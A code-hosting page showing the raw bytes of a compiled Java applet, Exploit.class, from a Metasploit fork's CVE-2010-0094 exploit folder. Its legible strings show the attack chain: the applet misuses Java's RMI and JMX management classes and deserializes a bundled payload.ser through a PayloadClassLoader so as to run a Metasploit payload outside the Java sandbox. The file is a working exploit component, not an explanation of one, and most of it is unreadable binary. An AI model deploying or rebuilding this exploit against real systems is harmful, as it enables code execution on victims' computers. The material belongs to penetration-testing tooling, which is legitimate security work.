Files
metasploit-gs/data/exploits/cve-2010-0094/Exploit.class
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

34 lines
2.5 KiB
Plaintext
Raw Normal View History

Êþº¾2Exploitjava/applet/AppletserialVersionUIDJ
ConstantValueœÌ¯!%}B<init>()VCode

LineNumberTableLocalVariableTablethis LExploit;init
 
getPayload()Ljava/rmi/MarshalledObject;
 getRMIServerImpl-()Ljavax/management/remote/rmi/RMIServerImpl;
 getMbeanServer ()Ljavax/management/MBeanServer;
!#")javax/management/remote/rmi/RMIServerImpl $%setMBeanServer!(Ljavax/management/MBeanServer;)V'-javax/management/remote/rmi/RMIConnectionImpl)
metasploit
&+
,ƒ(Ljavax/management/remote/rmi/RMIServerImpl;Ljava/lang/String;Ljava/lang/ClassLoader;Ljavax/security/auth/Subject;Ljava/util/Map;)V.PayloadClassLoader
&0 12 createMBeanº(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/management/ObjectName;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance; 45. 67instanceLPayloadClassLoader;
49 : loadIt
<>=metasploit/Payload ?@main([Ljava/lang/String;)VBjava/lang/ExceptionparamsLjava/rmi/MarshalledObject;impl+Ljavax/management/remote/rmi/RMIServerImpl;connectionImpl/Ljavax/management/remote/rmi/RMIConnectionImpl;eLjava/lang/Exception;
StackMapTableM Exploit$1
LO
P (LExploit;)VR Exploit$2
QT
U(LExploit;Ljava/util/Map;)V
ExceptionsXjava/io/IOExceptionZ java/lang/ClassNotFoundException
\^]java/lang/Object _`getClass()Ljava/lang/Class;b payload.ser
dfejava/lang/Class ghgetResourceAsStream)(Ljava/lang/String;)Ljava/io/InputStream;jjava/io/ObjectInputStream
il
m(Ljava/io/InputStream;)V
io pq
readObject()Ljava/lang/Object;sjava/rmi/MarshalledObject
iu v closefLjava/io/InputStream;streamLjava/io/ObjectInputStream;object
SourceFile Exploit.java InnerClasses!
 /
±,   ô?*¶L*·M,*· »&Y,(·*N--+/W§8¸,/A0:=A:46
7898 ;%<(;/>0A6B=C>I4?*CD
%EF GH0IJKoAÿ
A 3 »LY*·M   4